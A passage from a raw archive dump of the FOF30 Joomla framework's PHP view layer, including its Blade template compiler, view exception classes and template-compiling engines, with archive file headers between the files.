of the view template * * @return EngineInterface * * @throws UnrecognisedExtension */ protected function getEngine($path) { foreach ($this->viewEngineMap as $extension => $engine) { if (substr($path, -strlen($extension)) == $extension) { return new $engine($this); } } throw new UnrecognisedExtension($path); } /** * Get the extension used by the view file. * * @param string $path * * @return string */ protected function getExtension($path) { $extensions = array_keys($this->viewEngineMap); return array_first($extensions, function ($key, $value) use ($path) { return ends_with($path, $value); }); } /** * Triggers an object-specific event. The event runs both locally –if a suitable method exists– and through the * Joomla! plugin system. A true/false return value is expected. The first false return cancels the event. * * EXAMPLE * Component: com_foobar, Object name: item, Event: onBeforeSomething, Arguments: array(123, 456) * The event calls: * 1. $this->onBeforeSomething(123, 456) * 2. Joomla! plugin event onComFoobarViewItemBeforeSomething($this, 123, 456) * * @param string $event The name of the event, typically named onPredicateVerb e.g. onBeforeKick * @param array $arguments The arguments to pass to the event handlers * * @return bool */ protected function triggerEvent($event, array $arguments = []) { $result = true; // If there is an object method for this event, call it if (method_exists($this, $event)) { switch (count($arguments)) { case 0: $result = $this->{$event}(); break; case 1: $result = $this->{$event}($arguments[0]); break; case 2: $result = $this->{$event}($arguments[0], $arguments[1]); break; case 3: $result = $this->{$event}($arguments[0], $arguments[1], $arguments[2]); break; case 4: $result = $this->{$event}($arguments[0], $arguments[1], $arguments[2], $arguments[3]); break; case 5: $result = $this->{$event}($arguments[0], $arguments[1], $arguments[2], $arguments[3], $arguments[4]); break; default: $result = call_user_func_array([$this, $event], $arguments); break; } } if ($result === false) { return false; } // All other event handlers live outside this object, therefore they need to be passed a reference to this // objects as the first argument. array_unshift($arguments, $this); // If we have an "on" prefix for the event (e.g. onFooBar) remove it and stash it for later. $prefix = ''; if (substr($event, 0, 2) == 'on') { $prefix = 'on'; $event = substr($event, 2); } // Get the component/model prefix for the event $prefix .= 'Com' . ucfirst($this->container->bareComponentName) . 'View'; $prefix .= ucfirst($this->getName()); // The event name will be something like onComFoobarItemsBeforeSomething $event = $prefix . $event; // Call the Joomla! plugins $results = $this->container->platform->runPlugins($event, $arguments); if (!empty($results)) { foreach ($results as $result) { if ($result === false) { return false; } } } return true; } /** * Runs before rendering the view template, echoing HTML to put before the * view template's generated HTML * * @return void */ protected function preRender() { // You need to implement this in children classes } /** * Runs after rendering the view template, echoing HTML to put after the * view template's generated HTML * * @return void */ protected function postRender() { // You need to implement this in children classes } /** * This method makes sure the current scope isn't polluted with variables when including a view template * * @param array $forceParams Forced parameters * * @return void */ private function includeTemplateFile(array &$forceParams) { // Extract forced parameters if (!empty($forceParams)) { extract($forceParams); } include $this->_tempFilePath['content']; } } PK���\�����c�cfof30/View/Compiler/Blade.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\Compiler; defined('_JEXEC') || die; use FOF30\Container\Container; class Blade implements CompilerInterface { /** * Are the results of this engine cacheable? * * @var bool */ protected $isCacheable = true; /** * The extension of the template files supported by this compiler * * @var string * @since 3.3.1 */ protected $fileExtension = 'blade.php'; /** * All of the registered compiler extensions. * * @var array */ protected $extensions = []; /** * The file currently being compiled. * * @var string */ protected $path; /** * All of the available compiler functions. Each one is called against every HTML block in the template. * * @var array */ protected $compilers = [ 'Extensions', 'Statements', 'Comments', 'Echos', ]; /** * Array of opening and closing tags for escaped echos. * * @var array */ protected $contentTags = ['{{', '}}']; /** * Array of opening and closing tags for escaped echos. * * @var array */ protected $escapedTags = ['{{{', '}}}']; /** * Array of footer lines to be added to template. * * @var array */ protected $footer = []; /** * Counter to keep track of nested forelse statements. * * @var int */ protected $forelseCounter = 0; /** * The FOF container we are attached to * * @var Container */ protected $container; /** * Should I use the PHP Tokenizer extension to compile Blade templates? Default is true and is preferable. We expect * this to be false only on bad quality hosts. It can be overridden with Reflection for testing purposes. * * @var bool */ protected $usingTokenizer = false; public function __construct(Container $container) { $this->container = $container; $this->usingTokenizer = false; if (function_exists('token_get_all') && defined('T_INLINE_HTML')) { $this->usingTokenizer = true; } } /** * Report if the PHP Tokenizer extension is being used * * @return bool */ public function isUsingTokenizer() { return $this->usingTokenizer; } /** * Are the results of this compiler engine cacheable? If the engine makes use of the forcedParams it must return * false. * * @return mixed */ public function isCacheable() { if (defined('JDEBUG') && JDEBUG) { return false; } return $this->isCacheable; } /** * Compile a view template into PHP and HTML * * @param string $path The absolute filesystem path of the view template * @param array $forceParams Any parameters to force (only for engines returning raw HTML) * * @return mixed */ public function compile($path, array $forceParams = []) { $this->footer = []; $fileData = @file_get_contents($path); if ($path) { $this->setPath($path); } return $this->compileString($fileData); } /** * Get the path currently being compiled. * * @return string */ public function getPath() { return $this->path; } /** * Set the path currently being compiled. * * @param string $path * * @return void */ public function setPath($path) { $this->path = $path; } /** * Compile the given Blade template contents. * * @param string $value * * @return string */ public function compileString($value) { $result = ''; if ($this->usingTokenizer) { // Here we will loop through all of the tokens returned by the Zend lexer and // parse each one into the corresponding valid PHP. We will then have this // template as the correctly rendered PHP that can be rendered natively. foreach (token_get_all($value) as $token) { $result .= is_array($token) ? $this->parseToken($token) : $token; } } else { foreach ($this->compilers as $type) { $value = $this->{"compile{$type}"}($value); } $result .= $value; } // If there are any footer lines that need to get added to a template we will // add them here at the end of the template. This gets used mainly for the // template inheritance via the extends keyword that should be appended. if (count($this->footer) > 0) { $result = ltrim($result, PHP_EOL) . PHP_EOL . implode(PHP_EOL, array_reverse($this->footer)); } return $result; } /** * Compile the default values for the echo statement. * * @param string $value * * @return string */ public function compileEchoDefaults($value) { return preg_replace('/^(?=\$)(.+?)(?:\s+or\s+)(.+?)$/s', 'isset($1) ? $1 : $2', $value); } /** * Register a custom Blade compiler. Using a tag or not changes the behavior of this method when you try to redefine * an existing custom Blade compiler. * * If you use a tag which already exists the old compiler is replaced by the new one you are defining. * * If you do not use a tag, the new compiler you are defining will always be added to the bottom of the list. That * is to say, if another compiler would be matching the same function name (e.g. `@foobar`) it would get compiled by * the first compiler, the one already set, not the one you are defining now. You are suggested to always use a tag * for this reason. * * Finally, note that custom Blade compilers are compiled last. This means that you cannot override a core Blade * compiler with a custom one. If you need to do that you need to create a new Compiler class -- probably extending * this one -- and override the protected compiler methods. Remember to also create a custom Container and override * its 'blade' key with a callable which returns an object of your custom class. * * @param callable $compiler * @param string $tag Optional. Give the callable a tag you can look for with hasExtensionByName * * @return void */ public function extend($compiler, $tag = null) { if (!is_null($tag)) { $this->extensions[$tag] = $compiler; return; } $this->extensions[] = $compiler; } /** * Look if a custom Blade compiler exists given its optional tag name. * * @param string $tag * * @return bool */ public function hasExtension($tag) { return array_key_exists($tag, $this->extensions); } /** * Remove a custom BLade compiler given its optional tag name * * @param string $tag */ public function removeExtension($tag) { if (!$this->hasExtension($tag)) { return; } unset ($this->extensions[$tag]); } /** * Get the regular expression for a generic Blade function. * * @param string $function * * @return string */ public function createMatcher($function) { return '/(?<!\w)(\s*)@' . $function . '(\s*\(.*\))/'; } /** * Get the regular expression for a generic Blade function. * * @param string $function * * @return string */ public function createOpenMatcher($function) { return '/(?<!\w)(\s*)@' . $function . '(\s*\(.*)\)/'; } /** * Create a plain Blade matcher. * * @param string $function * * @return string */ public function createPlainMatcher($function) { return '/(?<!\w)(\s*)@' . $function . '(\s*)/'; } /** * Sets the escaped content tags used for the compiler. * * @param string $openTag * @param string $closeTag * * @return void */ public function setEscapedContentTags($openTag, $closeTag) { $this->setContentTags($openTag, $closeTag, true); } /** * Gets the content tags used for the compiler. * * @return string */ public function getContentTags() { return $this->getTags(); } /** * Sets the content tags used for the compiler. * * @param string $openTag * @param string $closeTag * @param bool $escaped * * @return void */ public function setContentTags($openTag, $closeTag, $escaped = false) { $property = ($escaped === true) ? 'escapedTags' : 'contentTags'; $this->{$property} = [preg_quote($openTag), preg_quote($closeTag)]; } /** * Gets the escaped content tags used for the compiler. * * @return string */ public function getEscapedContentTags() { return $this->getTags(true); } /** * Returns the file extension supported by this compiler * * @return string * * @since 3.3.1 */ public function getFileExtension() { return $this->fileExtension; } /** * Parse the tokens from the template. * * @param array $token * * @return string */ protected function parseToken($token) { [$id, $content] = $token; if ($id == T_INLINE_HTML) { foreach ($this->compilers as $type) { $content = $this->{"compile{$type}"}($content); } } return $content; } /** * Execute the user defined extensions. * * @param string $value * * @return string */ protected function compileExtensions($value) { foreach ($this->extensions as $compiler) { $value = call_user_func($compiler, $value, $this); } return $value; } /** * Compile Blade comments into valid PHP. * * @param string $value * * @return string */ protected function compileComments($value) { $pattern = sprintf('/%s--((.|\s)*?)--%s/', $this->contentTags[0], $this->contentTags[1]); return preg_replace($pattern, '<?php /*$1*/ ?>', $value); } /** * Compile Blade echos into valid PHP. * * @param string $value * * @return string */ protected function compileEchos($value) { $difference = strlen($this->contentTags[0]) - strlen($this->escapedTags[0]); if ($difference > 0) { return $this->compileEscapedEchos($this->compileRegularEchos($value)); } return $this->compileRegularEchos($this->compileEscapedEchos($value)); } /** * Compile Blade Statements that start with "@" * * @param string $value * * @return mixed */ protected function compileStatements($value) { return preg_replace_callback('/\B@(\w+)([ \t]*)(\( ( (?>[^()]+) | (?3) )* \))?/x', [ $this, 'compileStatementsCallback', ], $value); } /** * Callback for compileStatements, since $this is not allowed in Closures under PHP 5.3. * * @param $match * * @return string */ protected function compileStatementsCallback($match) { if (method_exists($this, $method = 'compile' . ucfirst($match[1]))) { $match[0] = $this->$method(array_get($match, 3)); } return isset($match[3]) ? $match[0] : $match[0] . $match[2]; } /** * Compile the "regular" echo statements. * * @param string $value * * @return string */ protected function compileRegularEchos($value) { $pattern = sprintf('/(@)?%s\s*(.+?)\s*%s(\r?\n)?/s', $this->contentTags[0], $this->contentTags[1]); return preg_replace_callback($pattern, [$this, 'compileRegularEchosCallback'], $value); } /** * Callback for compileRegularEchos, since $this is not allowed in Closures under PHP 5.3. * * @param array $matches * * @return string */ protected function compileRegularEchosCallback($matches) { $whitespace = empty($matches[3]) ? '' : $matches[3] . $matches[3]; return $matches[1] ? substr($matches[0], 1) : '<?php echo ' . $this->compileEchoDefaults($matches[2]) . '; ?>' . $whitespace; } /** * Compile the escaped echo statements. * * @param string $value * * @return string */ protected function compileEscapedEchos($value) { $pattern = sprintf('/%s\s*(.+?)\s*%s(\r?\n)?/s', $this->escapedTags[0], $this->escapedTags[1]); return preg_replace_callback($pattern, [$this, 'compileEscapedEchosCallback'], $value); } /** * Callback for compileEscapedEchos, since $this is not allowed in Closures under PHP 5.3. * * @param array $matches * * @return string */ protected function compileEscapedEchosCallback($matches) { $whitespace = empty($matches[2]) ? '' : $matches[2] . $matches[2]; return '<?php echo $this->escape(' . $this->compileEchoDefaults($matches[1]) . '); ?>' . $whitespace; } /** * Compile the each statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEach($expression) { return "<?php echo \$this->renderEach{$expression}; ?>"; } /** * Compile the yield statements into valid PHP. * * @param string $expression * * @return string */ protected function compileYield($expression) { return "<?php echo \$this->yieldContent{$expression}; ?>"; } /** * Compile the show statements into valid PHP. * * @param string $expression * * @return string */ protected function compileShow($expression) { return "<?php echo \$this->yieldSection(); ?>"; } /** * Compile the section statements into valid PHP. * * @param string $expression * * @return string */ protected function compileSection($expression) { return "<?php \$this->startSection{$expression}; ?>"; } /** * Compile the append statements into valid PHP. * * @param string $expression * * @return string */ protected function compileAppend($expression) { return "<?php \$this->appendSection(); ?>"; } /** * Compile the end-section statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndsection($expression) { return "<?php \$this->stopSection(); ?>"; } /** * Compile the stop statements into valid PHP. * * @param string $expression * * @return string */ protected function compileStop($expression) { return "<?php \$this->stopSection(); ?>"; } /** * Compile the overwrite statements into valid PHP. * * @param string $expression * * @return string */ protected function compileOverwrite($expression) { return "<?php \$this->stopSection(true); ?>"; } /** * Compile the unless statements into valid PHP. * * @param string $expression * * @return string */ protected function compileUnless($expression) { return "<?php if ( ! $expression): ?>"; } /** * Compile the end unless statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndunless($expression) { return "<?php endif; ?>"; } /** * Compile the end repeatable statements into valid PHP. * * @param string $expression * * @return string */ protected function compileRepeatable($expression) { $expression = trim($expression, '()'); $parts = explode(',', $expression, 2); $functionName = '_fof_blade_repeatable_' . md5($this->path . trim($parts[0])); $argumentsList = $parts[1] ?? ''; return "<?php @\$$functionName = function($argumentsList) { ?>"; } /** * Compile the end endRepeatable statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndRepeatable($expression) { return "<?php }; ?>"; } /** * Compile the end yieldRepeatable statements into valid PHP. * * @param string $expression * * @return string */ protected function compileYieldRepeatable($expression) { $expression = trim($expression, '()'); $parts = explode(',', $expression, 2); $functionName = '_fof_blade_repeatable_' . md5($this->path . trim($parts[0])); $argumentsList = $parts[1] ?? ''; return "<?php \$$functionName($argumentsList); ?>"; } /** * Compile the lang statements into valid PHP. * * @param string $expression * * @return string */ protected function compileLang($expression) { return "<?php echo \\Joomla\\CMS\\Language\\Text::_$expression; ?>"; } /** * Compile the sprintf statements into valid PHP. * * @param string $expression * * @return string */ protected function compileSprintf($expression) { return "<?php echo \\Joomla\\CMS\\Language\\Text::sprintf$expression; ?>"; } /** * Compile the plural statements into valid PHP. * * e.g. @plural('COM_FOOBAR_N_ITEMS_SAVED', $countItemsSaved) * * @param string $expression * * @return string * @see JText::plural() * */ protected function compilePlural($expression) { return "<?php echo \\Joomla\\CMS\\Language\\Text::plural$expression; ?>"; } /** * Compile the token statements into valid PHP. * * @param string $expression * * @return string */ protected function compileToken($expression) { return "<?php echo \$this->container->platform->getToken(true); ?>"; } /** * Compile the else statements into valid PHP. * * @param string $expression * * @return string */ protected function compileElse($expression) { return "<?php else: ?>"; } /** * Compile the for statements into valid PHP. * * @param string $expression * * @return string */ protected function compileFor($expression) { return "<?php for{$expression}: ?>"; } /** * Compile the foreach statements into valid PHP. * * @param string $expression * * @return string */ protected function compileForeach($expression) { return "<?php foreach{$expression}: ?>"; } /** * Compile the forelse statements into valid PHP. * * @param string $expression * * @return string */ protected function compileForelse($expression) { $empty = '$__empty_' . ++$this->forelseCounter; return "<?php {$empty} = true; foreach{$expression}: {$empty} = false; ?>"; } /** * Compile the if statements into valid PHP. * * @param string $expression * * @return string */ protected function compileIf($expression) { return "<?php if{$expression}: ?>"; } /** * Compile the else-if statements into valid PHP. * * @param string $expression * * @return string */ protected function compileElseif($expression) { return "<?php elseif{$expression}: ?>"; } /** * Compile the forelse statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEmpty($expression) { $empty = '$__empty_' . $this->forelseCounter--; return "<?php endforeach; if ({$empty}): ?>"; } /** * Compile the while statements into valid PHP. * * @param string $expression * * @return string */ protected function compileWhile($expression) { return "<?php while{$expression}: ?>"; } /** * Compile the end-while statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndwhile($expression) { return "<?php endwhile; ?>"; } /** * Compile the end-for statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndfor($expression) { return "<?php endfor; ?>"; } /** * Compile the end-for-each statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndforeach($expression) { return "<?php endforeach; ?>"; } /** * Compile the end-if statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndif($expression) { return "<?php endif; ?>"; } /** * Compile the end-for-else statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndforelse($expression) { return "<?php endif; ?>"; } /** * Compile the extends statements into valid PHP. * * @param string $expression * * @return string */ protected function compileExtends($expression) { if (starts_with($expression, '(')) { $expression = substr($expression, 1, -1); } $data = "<?php echo \$this->loadAnyTemplate($expression); ?>"; $this->footer[] = $data; return ''; } /** * Compile the include statements into valid PHP. * * @param string $expression * * @return string */ protected function compileInclude($expression) { if (starts_with($expression, '(')) { $expression = substr($expression, 1, -1); } return "<?php echo \$this->loadAnyTemplate($expression); ?>"; } /** * Compile the jlayout statements into valid PHP. * * @param string $expression * * @return string */ protected function compileJlayout($expression) { if (starts_with($expression, '(')) { $expression = substr($expression, 1, -1); } return "<?php echo \\FOF30\\Layout\\LayoutHelper::render(\$this->container, $expression); ?>"; } /** * Compile the stack statements into the content * * @param string $expression * * @return string */ protected function compileStack($expression) { return "<?php echo \$this->yieldContent{$expression}; ?>"; } /** * Compile the push statements into valid PHP. * * @param string $expression * * @return string */ protected function compilePush($expression) { return "<?php \$this->startSection{$expression}; ?>"; } /** * Compile the endpush statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEndpush($expression) { return "<?php \$this->appendSection(); ?>"; } /** * Compile the route statements into valid PHP. * * @param string $expression * * @return string */ protected function compileRoute($expression) { return "<?php echo \$this->container->template->route{$expression}; ?>"; } /** * Compile the css statements into valid PHP. * * @param string $expression * * @return string */ protected function compileCss($expression) { return "<?php \$this->addCssFile{$expression}; ?>"; } /** * Compile the inlineCss statements into valid PHP. * * @param string $expression * * @return string */ protected function compileInlineCss($expression) { return "<?php \$this->addCssInline{$expression}; ?>"; } /** * Compile the inlineJs statements into valid PHP. * * @param string $expression * * @return string */ protected function compileInlineJs($expression) { return "<?php \$this->addJavascriptInline{$expression}; ?>"; } /** * Compile the js statements into valid PHP. * * @param string $expression * * @return string */ protected function compileJs($expression) { return "<?php \$this->addJavascriptFile{$expression}; ?>"; } /** * Compile the jhtml statements into valid PHP. * * @param string $expression * * @return string */ protected function compileJhtml($expression) { return "<?php echo \\Joomla\\CMS\\HTML\\HTMLHelper::_{$expression}; ?>"; } /** * Compile the `sortgrid` statements into valid PHP. * * @param string $expression * * @return string * * @since 3.3.0 */ protected function compileSortgrid($expression) { return "<?php echo \\FOF30\\Utils\\FEFHelper\\BrowseView::sortGrid{$expression} ?>"; } /** * Compile the `fieldtitle` statements into valid PHP. * * @param string $expression * * @return string * * @since 3.3.0 */ protected function compileFieldtitle($expression) { return "<?php echo \\FOF30\\Utils\\FEFHelper\\BrowseView::fieldLabel{$expression} ?>"; } /** * Compile the `modelfilter($localField, [$modelTitleField, $modelName, $placeholder, $params])` statements into * valid PHP. * * @param string $expression * * @return string * * @since 3.3.0 */ protected function compileModelfilter($expression) { return "<?php echo \\FOF30\\Utils\\FEFHelper\\BrowseView::modelFilter{$expression} ?>"; } /** * Compile the `selectfilter($localField, $options [, $placeholder, $params])` statements into valid PHP. * * @param string $expression * * @return string * * @since 3.3.0 */ protected function compileSelectfilter($expression) { return "<?php echo \\FOF30\\Utils\\FEFHelper\\BrowseView::selectFilter{$expression} ?>"; } /** * Compile the `searchfilter($localField, $searchField = null, $placeholder = null, array $attributes = [])` * statements into valid PHP. * * @param string $expression * * @return string * * @since 3.3.0 */ protected function compileSearchfilter($expression) { return "<?php echo \\FOF30\\Utils\\FEFHelper\\BrowseView::searchFilter{$expression} ?>"; } /** * Compile the media statements into valid PHP. * * @param string $expression * * @return string */ protected function compileMedia($expression) { return "<?php echo \$this->container->template->parsePath{$expression}; ?>"; } /** * Compile the modules statements into valid PHP. * * @param string $expression * * @return string */ protected function compileModules($expression) { return "<?php echo \$this->container->template->loadPosition{$expression}; ?>"; } /** * Compile the module statements into valid PHP. * * @param string $expression * * @return string */ protected function compileModule($expression) { return "<?php echo \$this->container->template->loadModule{$expression}; ?>"; } /** * Compile the editor statements into valid PHP. * * @param string $expression * * @return string */ protected function compileEditor($expression) { return '<?php echo \\Joomla\\CMS\\Editor\\Editor::getInstance($this->container->platform->getConfig()->get(\'editor\', \'tinymce\'))' . '->display' . $expression . '; ?>'; } /** * Gets the tags used for the compiler. * * @param bool $escaped * * @return array */ protected function getTags($escaped = false) { $tags = $escaped ? $this->escapedTags : $this->contentTags; return array_map('stripcslashes', $tags); } } PK���\(�Z?��)fof30/View/Compiler/CompilerInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\Compiler; defined('_JEXEC') || die; interface CompilerInterface { /** * Are the results of this compiler engine cacheable? If the engine makes use of the forcedParams it must return * false. * * @return mixed */ public function isCacheable(); /** * Compile a view template into PHP and HTML * * @param string $path The absolute filesystem path of the view template * @param array $forceParams Any parameters to force (only for engines returning raw HTML) * * @return mixed */ public function compile($path, array $forceParams = []); /** * Returns the file extension supported by this compiler * * @return string * * @since 3.3.1 */ public function getFileExtension(); } PK���\g<tss#fof30/View/Exception/EmptyStack.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; /** * Exception thrown when we are trying to operate on an empty section stack */ class EmptyStack extends RuntimeException { public function __construct($message = "", $code = 500, Exception $previous = null) { $message = Text::_('LIB_FOF_VIEW_EMPTYSECTIONSTACK'); parent::__construct($message, $code, $previous); } } PK���\�&4��(fof30/View/Exception/PossiblySuhosin.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; /** * Exception thrown when the access to the requested resource is forbidden under the current execution context */ class PossiblySuhosin extends RuntimeException { public function __construct($message = "", $code = 403, Exception $previous = null) { if (empty($message)) { $message = Text::_('LIB_FOF_VIEW_POSSIBLYSUHOSIN'); } parent::__construct($message, $code, $previous); } } PK���\��� &fof30/View/Exception/CannotGetName.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; /** * Exception thrown when we can't get a Controller's name */ class CannotGetName extends RuntimeException { public function __construct($message = "", $code = 500, Exception $previous = null) { if (empty($message)) { $message = Text::_('LIB_FOF_VIEW_ERR_GET_NAME'); } parent::__construct($message, $code, $previous); } } PK���\�3F�||&fof30/View/Exception/ModelNotFound.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; /** * Exception thrown when we can't get a Controller's name */ class ModelNotFound extends RuntimeException { public function __construct($path, $viewName, $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF_VIEW_MODELNOTINVIEW', $path, $viewName); parent::__construct($message, $code, $previous); } } PK���\,â��(fof30/View/Exception/AccessForbidden.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; use RuntimeException; /** * Exception thrown when the access to the requested resource is forbidden under the current execution context */ class AccessForbidden extends RuntimeException { public function __construct($message = "", $code = 403, Exception $previous = null) { if (empty($message)) { $message = Text::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'); } parent::__construct($message, $code, $previous); } } PK���\�(��.fof30/View/Exception/UnrecognisedExtension.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\Exception; defined('_JEXEC') || die; use Exception; use InvalidArgumentException; use Joomla\CMS\Language\Text; /** * Exception thrown when we can't figure out which engine to use for a view template */ class UnrecognisedExtension extends InvalidArgumentException { public function __construct($path, $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF_VIEW_UNRECOGNISEDEXTENSION', $path); parent::__construct($message, $code, $previous); } } PK���\��H�))!fof30/View/Engine/BladeEngine.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\Engine; defined('_JEXEC') || die; use FOF30\View\View; /** * View engine for compiling PHP template files. */ class BladeEngine extends CompilingEngine implements EngineInterface { public function __construct(View $view) { parent::__construct($view); // Assign the Blade compiler to this engine $this->compiler = $view->getContainer()->blade; } } PK���\�� $fof30/View/Engine/AbstractEngine.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\Engine; defined('_JEXEC') || die; use FOF30\View\View; abstract class AbstractEngine implements EngineInterface { /** @var View The view we belong to */ protected $view = null; /** * Public constructor * * @param View $view The view we belong to */ public function __construct(View $view) { $this->view = $view; } /** * Get the include path for a parsed view template * * @param string $path The path to the view template * @param array $forceParams Any additional information to pass to the view template engine * * @return array Content 3ναlυα+ιοη information (I use leetspeak here because of bad quality hosts with broken * scanners) */ public function get($path, array $forceParams = []) { return [ 'type' => 'raw', 'content' => '', ]; } } PK���\A�vs��%fof30/View/Engine/CompilingEngine.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\Engine; defined('_JEXEC') || die; use FOF30\Utils\Buffer; use FOF30\View\Compiler\CompilerInterface; use FOF30\View\Exception\PossiblySuhosin; use JLoader; use Joomla\CMS\Filesystem\File; /** * View engine for compiling PHP template files. */ abstract class CompilingEngine extends AbstractEngine implements EngineInterface { /** @var CompilerInterface The compiler used by this engine */ protected $compiler = null; /** * Get the 3ναlυa+3d contents of the view template. (I use leetspeak here because of bad quality hosts with broken * scanners) * * @param string $path The path to the view template * @param array $forceParams Any additional information to pass to the view template engine * * @return array Content evaluation information */ public function get($path, array $forceParams = []) { // If it's cached return the path to the cached file's path if ($this->isCached($path)) { return [ 'type' => 'path', 'content' => $this->getCachePath($path), ]; } /** * Compile and cache the file. We also add the file path in a comment at the top of the file so phpStorm can * debug it. * * @see https://blog.jetbrains.com/phpstorm/2019/02/phpstorm-2019-1-eap-191-5849-26/ * @see https://laravel-news.com/laravel-5-8-blade-template-file-path */ $content = "<?php /* $path */ ?>\n"; $content .= $this->compile($path, $forceParams); $cachePath = $this->putToCache($path, $content); $isPHPFile = substr($path, -4) == '.php'; // If we could cache it, return the cached file's path if ($cachePath !== false) { // Bust the opcode cache for .php files if ($isPHPFile) { $this->bustOpCache($path); } return [ 'type' => 'path', 'content' => $cachePath, ]; } // We could not write to the cache. Hm, can I use a stream wrapper? $canUseStreams = Buffer::canRegisterWrapper(); if ($canUseStreams) { $id = $this->getIdentifier($path); $streamPath = 'fof://' . $this->view->getContainer()->componentName . '/compiled_templates/' . $id . '.php'; file_put_contents($streamPath, $content); // Bust the opcode cache for .php files if ($isPHPFile) { $this->bustOpCache($path); } return [ 'type' => 'path', 'content' => $streamPath, ]; } // I couldn't use a stream wrapper. I have to give up. throw new PossiblySuhosin; } /** * Returns the path where I can find a precompiled version of the unprocessed view template which lives in $path * * @param string $path The path to the uncompiled view template * * @return bool|string False if the view template is outside the component's front- or backend. * * @since 3.3.1 */ public function getPrecompiledPath($path) { // Normalize the path to the file $path = realpath($path); if ($path === false) { // The file doesn't exist return false; } // Is this path under the component's front- or backend? $frontendPath = realpath($this->view->getContainer()->frontEndPath); $backendPath = realpath($this->view->getContainer()->backEndPath); $backPos = strpos($path, $backendPath); $frontPos = strpos($path, $frontendPath); if (($backPos !== 0) && ($frontPos !== 0)) { // This is not a view template shipped with the component, i.e. it can't be precompiled return false; } // Eliminate the component path from $path to get the relative path to the file $componentPath = $frontendPath; if ($backPos === 0) { $componentPath = $backendPath; } $relativePath = ltrim(substr($path, strlen($componentPath)), '\\/'); // Break down the relative path to its parts $relativePath = str_replace('\\', '/', $relativePath); $pathParts = explode('/', $relativePath); // Remove the prefix $prefix = array_shift($pathParts); // If it's a legacy view, View, Views, or views prefix remove the 'tmpl' part if ($prefix != 'ViewTemplates') { unset($pathParts[1]); } // Get the last part and process the extension $viewFile = array_pop($pathParts); $extensionWithoutDot = $this->compiler->getFileExtension(); $pathParts[] = substr($viewFile, 0, -strlen($extensionWithoutDot)) . 'php'; $precompiledRelativePath = implode(DIRECTORY_SEPARATOR, $pathParts); return $componentPath . DIRECTORY_SEPARATOR . 'PrecompiledTemplates' . DIRECTORY_SEPARATOR . $precompiledRelativePath; } /** * A method to compile the raw view template into valid PHP * * @param string $path The path to the view template * @param array $forceParams Any additional information to pass to the view template compiler * * @return string The template compiled to executable PHP */ protected function compile($path, array $forceParams = []) { return $this->compiler->compile($path, $forceParams); } protected function getIdentifier($path) { if (function_exists('sha1')) { return sha1($path); } return md5($path); } protected function getCachePath($path) { $id = $this->getIdentifier($path); return JPATH_CACHE . '/' . $this->view->getContainer()->componentName . '/compiled_templates/' . $id . '.php'; } protected function isCached($path) { if (!$this->compiler->isCacheable()) { return false; } $cachePath = $this->getCachePath($path); if (!file_exists($cachePath)) { return false; } $cacheTime = filemtime($cachePath); $fileTime = filemtime($path); return $fileTime <= $cacheTime; } protected function getCached($path) { $cachePath = $this->getCachePath($path); return file_get_contents($cachePath); } protected function putToCache($path, $content) { $cachePath = $this->getCachePath($path); if (@file_put_contents($cachePath, $content)) { return $cachePath; } if (File::write($cachePath, $content)) { return $cachePath; } return false; } /** * Bust the opcode cache for a given .php file * * This method can address opcode caching with: * - Zend OPcache * - Alternative PHP Cache (now defunct) * - Windows Cache Extension for PHP (versions lower than 2.0.0) * - XCache (now defunct) * * @param string $path The file to bus the cache for * * @return void */ private function bustOpCache($path) { if (function_exists('opcache_invalidate')) { opcache_invalidate($path); } if (function_exists('apc_compile_file')) { 